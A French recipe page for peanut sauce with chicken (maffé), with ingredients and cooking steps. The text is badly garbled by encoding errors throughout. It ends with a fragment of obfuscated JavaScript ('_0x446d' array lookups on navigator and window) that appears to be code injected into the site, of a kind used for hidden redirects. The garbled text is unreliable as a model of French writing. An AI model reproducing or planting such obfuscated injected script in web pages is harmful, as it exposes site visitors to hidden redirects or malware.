Sauce d’arachide au poulet

arachide_poulet

La sauce d’arachide est Ai??galement connue sous le nom de MaffAi?? Tiga ou Tiga Degae.

Cai??i??est une sauce bien connu au SAi??nAi??gal, en GuinAi??e, au Mali, en CA?te d’Ivoire et dans la plupart des pays africains. La recette varie d’un pays Ai??Ai?? l’autre, certains le prAi??pare avec du bAi??uf, d’autres avec du poisson ou de poulet, mais le rAi??sultat est toujours trA?s agrAi??able.

Cette sauce dai??i??arachide est faite avec du poulet et un peu de lAi??gumes. Nai??i??oubliez pas dai??i??essayer cette sauce dai??i??arachide puisque je garantie que vous allez l’adorer.

Nombre de personnes: 4Ai??Temps de prAi??paration:Ai??20min

Temps de cuisson:Ai??50 min

IngrAi??dients:

  • 1/2 poulet, nettoyer et couper en morceaux
  • 3 cuillA?res Ai??Ai?? soupe de pA?te d’arachide
  • 100ml d’huile vAi??gAi??tale ou d’huile d’arachide
  • 2 tomates fraAi??ches, Ai??crasAi??es
  • 1 cuillA?re Ai??Ai?? soupe de concentrAi?? de tomate
  • 2 oignons, hachAi??s
  • 1 bouquet dai??i??oignon vert, Ai??mincAi??
  • 2 gousses d’ail,
  • Un piment (facultatif),
  • Le poivre noir
  • 1 cube de bouillon ou du Maggi
  • 1 litre dai??i??eau (eau chaude recommandAi??e).
  • Vous pouvez ajouter des lAi??gumes de votre choix: pommes de terre, des carottes ou du potiron

PrAi??paration de la sauce dai??i??arachide au poulet :

1 – Assaisonner le poulet avec un cube de bouillon, le poivre noir et le sel.

2 – Faire chauffer l’huile vAi??gAi??tale dans une casserole et faites frire le poulet jusqu’Ai??Ai?? ce quai??i??il soit brun. Retirez et mettre de cA?tAi??

3 – Dans la casserole, ajouter les tomates en purAi??e,Ai?? concentrAi?? de tomate, les oignons, lai??i??oignon vert, l’ail et le poivre noir, sautAi?? pendant 10 minutes.

4 – Ajoutez l’eau et la pA?te d’arachide. Laissez mijoter pendant 20 minutes.

5 – Retournez le poulet frit dans la sauce et ajoutez le bouillon cube, le piment et les lAi??gumes si vous voulez. Laissez cuire pendant encore 20 minutes.

Pour finir la soupe, ajouter du sel et du poivre Ai??Ai?? votre goAi??t.

arachide_poulet_2

Servir la sauce d’arachide avec du riz blanc ou duAi??TA?.

Remarque: Soupe d’arachide doit A?tre cuit dans une casserole profonde, car la soupe remonte lors de a cuisson.

Ne pas remplacer le couvercle de la marmite une fois que la pA?te d’arachide est ajoutAi??e pour empA?cher la sauce de se rAi??pandre. igator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}